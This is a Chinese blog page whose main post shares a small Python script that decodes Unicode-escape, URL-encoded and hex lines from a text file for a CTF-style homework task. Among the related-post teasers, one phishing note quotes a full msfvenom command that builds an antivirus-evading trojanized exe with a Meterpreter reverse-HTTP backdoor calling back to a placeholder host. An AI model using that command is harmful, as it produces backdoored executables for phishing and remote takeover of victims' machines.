python学习——解码的小脚本

别被反编译吓到:手把手教你逆向分析Python打包的PYC文件(从混淆代码到还原Base64) 本文详细介绍了逆向分析Python打包的PYC文件的实战技巧,从识别混淆代码到还原Base64编码的全过程。通过模式识别和小脚本验证的方法,帮助读者逐步破解复杂混淆逻辑,特别适用于CTF逆向题中的flag提取。文章还提供了自动化检测Base64变种的脚本框架和应对反调试技巧的实用策略。 阅读详情

帮同学做了个小作业,相信大家也可以是试一试,勤动手。脚本要求如下:

from urllib import parse
from urllib import request
import binascii
def unincode(strtest):
    print(strtest.encode('utf8').decode('unicode_escape'))
def urlcode(strtest):
    strtest.encode('utf8').decode('unicode_escape')
    urlcode2 = parse.unquote(strtest)
    print(urlcode2)
def hexcode(strtest):
     hex = strtest.encode('utf-8')
     str_bin = binascii.unhexlify(hex)
     print(str_bin.decode('utf-8'))
url_code= "%"
unincode_code="\/"


input_psd="\sdada"
string = "[]\/"
string1 =  "%/"
flag=True
file_path = "/root/codetest.txt"
with open("/root/codetest.txt", "r") as f:
    for line in f.readlines():
        line = line.strip('\n')  #去掉列表中每一个元素的换行符
        for i in string:
            if i in line:
                unincode(line)
        for i in string1:
            if i in line:
                urlcode(line)
        if line.isdigit()==flag:
            hexcode(line)

脚本存在如下问题:

1.脚本的判断编码格式存在问题,我暂时还没想到有什么非常优秀的解决方案,当然换一种思考方式,我可以增加参数选项,但是这就和自动化去跑解码没关系了。

2.脚本目前实现了解码hex,解码url编码,解码unicode,反正是readlines按行读取文本,暴力的按照题意解决了题目问题。

3.脚本可以拿来直接用,但是我觉得放着已有的优秀工具不用就是找苦吃。

可以编解码工具,burp,小葵转码,chrome插件------等我csdn上传工具即可

 

base64 编码;解码,工具. 之前在网上下了好多Base64编码,解码工具,个人感觉都不理想,无法满足自己的需求,随之自己写了一个,分享给大家. 此工具非常之灵活,可以随意编码;解码,各种文本,二进制文件,图片,以及各种文件格式. 立即下载

相关推荐

XXencode 编码,XX编码介绍、XXencode编码转换原理与算法

主要介绍了XXencode 编码,XX编码介绍、XXencode编码转换原理、算法,需要的朋友可以参考下

在线XXEncode加密/解密(XXEncode编码/解码)工具

在线XXEncode加密解密工具,提供XXEncode编码(XX编码)、XXencode解码(XX解码)、以及XXencode编码原理介绍、编码算法说明。 工具链接:http://www.atoolbox.net/Tool.php?Id=780 XXEncode是一种二进制到文字的编码!它跟UUEncode以及Base64编码方法很类似。它也是定义了用可打印字符表示二进制文字一种方法,不是一种...

WP8HUB 1万+

XXencode与UUencode对比:CTF文件传输题的快速区分策略.pdf

文档支持目录章节跳转同时还支持阅读器左侧大纲显示和章节快速定位,文档内容完整、条理清晰。文档内所有文字、图表、函数、目录等元素均显示正常,无任何异常情况,敬请您放心查阅与使用。文档仅供学习参考,请勿用作商业用途。 从隐写术到编码转换,从音频隐写到文件结构分析,CTF-Misc 教会你用技术的眼睛发现数据中的「彩蛋」。掌握 Stegsolve、CyberChef、Audacity 等工具,合法破解摩斯密码、二维码、LSB 隐写,在虚拟战场中提升网络安全意识与技术能力。记住:所有技术仅用于学习与竞赛!

加密解密:base64、Unicode、escape、URL/HEX、md5、sha、hmac、rsa、PBKDF2、aes、des、sm、js混淆系列、cyberchef、ctf工具

加密解密:base、Unicode、escape、URL/HEX、md5、sha、hmac、rsa、PBKDF2、aes、des、sm、js混淆系列、cyberchef、ctf工具

freeking101的博客 3万+

从零构建EtherCAT从站:SSC工具配置与TwinCAT3 PDO/SDO调试实战

本文详细介绍了从零构建EtherCAT从站的完整流程,重点讲解SSC工具配置与TwinCAT3 PDO/SDO调试实战。通过解析EtherCAT通信机制、PDO与SDO的核心概念,提供SSC工具配置技巧、XML文件生成与校验方法,以及TwinCAT3环境下的调试经验,帮助开发者高效完成EtherCAT从站开发与优化。

weixin_42520573的博客 337

华三(H3C)网络设备配置命令大全与学习指南

本文全面介绍 H3C 网络设备的配置命令,涵盖路由器、交换机、ACL、NAT、VTY、SSH、本地用户、日志、STP、防火墙、QoS 等模块,适合网络工程初学者与运维人员参考。

DreamCollector的博客 6562

xxdecode

因为在i春秋上面做了一个XX的misc的题,先把链接贴出来: 第三场misc XX 题目之中只有一些字符(这种类型的题目最SB好嘛) 首先查到XX加密和解密的资料: XX加密解密原理 在这个里面,原理已经很清楚了,有个细节问题:举例之中的密文第四个应该是o而不是0 注意原理中的这样一段话: 每60个编码输出(相当于45个输入字节)将输出为独立的一行,每行的开头会加上长

ACdream 759

Linux云服务器上搭建《僵尸毁灭工程》私服全流程指南(避坑版)

本文详细介绍了在Linux云服务器上搭建《僵尸毁灭工程》私服的全流程指南,包括环境准备、SteamCMD安装、游戏服务器部署、内存优化配置及高级调优技巧。特别针对常见问题提供解决方案,帮助玩家快速搭建稳定的私服环境。

solidity8miner的博客 599

Base64编码解码小脚本

import base64 import os '''定义控制要处理的文件 file_path="C:\\Users\\ma\\Desktop\\py\\" #文件存放路径 raw_file_name="1.png" #文件名 Processed_file_name="1.txt" #处理后文件名 ''' ''' 对文件进行base64编码 ''' def encode_file(FILE): with ope.

ma963852的博客 2975

新手避坑:RT-Thread-Studio外设驱动配置最容易忽略的3个地方(附WDT实例)

本文针对RT-Thread-Studio新手在配置外设驱动时常见的编译报错问题,以看门狗(WDT)为例,详细解析了最易忽略的三个关键配置环节:RT-Thread-Studio的图形化Setting开关、Kconfig中的依赖关系以及SConscript的编译规则。掌握这三层配置模型,能有效避免头文件包含正确却依然编译失败的问题,确保驱动代码被正确加入构建。

gray5的博客 504

Matlab Robotics Toolbox实战:四自由度机械臂建模与仿真全流程(附代码)

本文详细介绍了使用Matlab Robotics Toolbox进行四自由度机械臂建模与仿真的全流程,包括DH参数定义、模型构建、可视化、运动学仿真及交互控制。通过实战案例和代码示例,帮助读者快速掌握机械臂建模技巧,提升机器人学习效率。

weixin_42538752的博客 415

python用于url解码和中文解析的小脚本

python用于url解码和中文解析的小脚本(续) by 不求东西 之前写过一篇关于处理url里中文字符解码文章,后来看到原文中TL的回复,发现原来那一篇文章存在着几个问题,觉得这些问题可能别的同学也会遇到,就续写一篇吧。 非默认编码的转换 1 2 3 4 5 import urllib a=

jfkidear的专栏 4133

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7648

【python实用小脚本-140】Python Base64 图像编解码工具:轻松实现图像与文本互转

摘要(148字) Python脚本encode_img.py和decode_img.py实现图像与Base64互转: 编码端:批量将encode_image/目录下的图片转为带Data URI前缀的Base64文本(encoded.txt),适用于前端资源内联 解码端:从base64_image.txt还原为decoded_image.png,支持数据库镜像数据处理 优势:纯标准库实现、离线操作、支持批量处理,可扩展至Web打包优化和ETL流程 开源地址提供完整代码,30行核心逻辑解决开发/运维中的图像编解

kylner的博客 621

【高级-RAG-优化方法】

本文介绍了两种优化RAG(检索增强生成)系统的高级方法。第一部分介绍KnowFlow项目,它采用父子分块技术,将文档分为父分块(800-1500字符)和子分块(200-400字符),通过精确匹配子分块再返回父分块内容来保证搜索精确性和上下文完整性。第二部分探讨Milvus的多种增强技术,包括查询增强(如假设问题生成、回溯提示)、索引增强(自动合并块、分层索引)、检索器增强(句子窗口检索、元数据过滤)、生成器增强(提示压缩、块排序)以及管道增强(自我反省、代理查询路由)。这些方法共同提升了RAG系统的检索效率

weixin_48585108的博客 960

uniapp - 强力解决H5网页浏览器跨域问题,如何解决uniapp请求接口在浏览器跨域问题,UniApp H5 跨域代理配置详细教程完美解决所有uniapp跨域(调用第三方接口或服务器api跨域)

uni-app 跨域,uniApp解决h5跨域问题,解决uni-app请求接口在浏览器跨域问题,uni.request请求跨域问题解决方案,uni-app-跨域解决方法,彻底解决uniapp发布为H5的跨域问题,uniapp H5页面设置跨域请求_uniapp h5跨域配置,uniapp开发 H5 解决跨域问题,uniApp请求解决跨域问题,uniapp request如何实现前端请求跨域,解决uniapp调试过程中的请求跨域和环境配置,Uniapp调用外部api接口跨域请求,uni-app发布H5页面跨域

🏆 前端领域优质创作者 5352

python网址解码_python用于url解码和中文解析的小脚本(python url decoder)

def strdecode( string,charset=None ):if isinstance(string,unicode):return stringif charset:try:return string.decode(charset)except UnicodeDecodeError:return _strdecode(string)else:return _strdecode(st...

weixin_39708557的博客 240

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

python用于url解码和中文解析的小脚本(续)

非默认编码的转换 import urllib a=”http://zh.wikipedia.org/wiki/%BD%F0%B6″ b=”http://zh.wikipedia.org/wiki/%E9%97%A8″ de=urllib.unquote print de(a),de(b) 之前的文章里的这段代码,我没有考虑到gbk和utf编码的问题,以为不带有%5Cu这种unicode标志字符

nanfenglei23的专栏 614

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

python打开csv文件编码错误_Python 3 CSV文件给出UnicodeDecodeError:“utf-8”编码解码器无法解码字节错误...

我们知道文件包含字节b'\x96',因为它在错误消息中提到:UnicodeDecodeError: 'utf-8' codec can't decode byte 0x96 in position 7386: invalid start byte现在,我们可以编写一个小脚本,以确定是否存在b'\x96'解码到ñ的任何编码:import pkgutilimport encodingsimport o...

weixin_39557797的博客 513

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

【python实用小脚本系列】用python轻松读取二维码,python小白也能搞定!

今天咱们学会了用Python读取二维码,还拓展了两个好玩的场景。是不是觉得Python很厉害?其实,Python的“魔法”还有很多,只要我们用心去探索,就能用它解决各种有趣的问题。如果你是Python小白,希望这篇文章能让你迈出第一步;如果你已经是大神,也欢迎分享更多好玩的Python技巧哦!下次见啦!

kylner的博客 1219

一个关于sql注入寻找闭合的python小脚本

头一天开始学python,在w3c上看了整整一天,第二天就开始对着一个成品的脚本尝试着敲了一个小脚本用来跑闭合的,和老师一起发现了几个关于python里urllib.request模块额问题 代码一直就敲的不是很好,勿喷 上源码 import urllib.request url = "" url_bihe = "http://192.168.60.129/sqli-labs-...

Alexz__的博客 615

【python实用小脚本-175】Python一键爬取某站高分影视排行榜:告别手动翻榜——榜单实时到手

文章以“周五晚上剧荒找高分神作”场景切入,将 80 行 Python 脚本视作“小白瑞士军刀”,展示如何一条命令爬取 电影 Top 250 电影/剧集及其评分。先给完整源码,再拆“电影抓取、剧集抓取、傻瓜交互”三大功能块;随后提供“命令行免交互”和“一键 CSV 导出”两扩展,配中文注释。全程口语化,零基础可照抄即用,真正解决“手动翻榜耗时耗力”的痛点。

kylner的博客 709

python制作英语字典_爆破字典生成小脚本(新手学python)

遇到一套系统,后台管理登录无验证码,准备爆破试试,burp抓到的包如下:GET /admin/ HTTP/1.1Host: www.nxadmin.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0Accept: text/html,application/xhtml+xml...

weixin_39531688的博客 181

Python3图片Base64编码解码实战:原理、应用与避坑指南

Base64编码是一种将二进制数据转换为ASCII文本字符串的编码方案,其核心原理是将每3个字节的二进制数据重新分组为4个6位单元,并映射到64个特定可打印字符。这项技术的主要价值在于解决二进制数据在纯文本环境(如JSON、XML、HTML、CSS)中的传输与嵌入问题,实现了数据格式的通用化。在Web开发、API接口设计、数据存储等场景中,Base64编码使得图片、文档等二进制文件能够以文本形式安全传输,尤其适用于生成Data URL内嵌图片、构建JSON API响应内容。本文聚焦于Python3环境下图片

weixin_33859844的博客 370
上一篇: 2020年上半年总结---一个默默无闻的红队安全人
下一篇: burp的安装步骤(win+linux)
Ping_Pig
博客等级 码龄9年 186粉丝 105原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值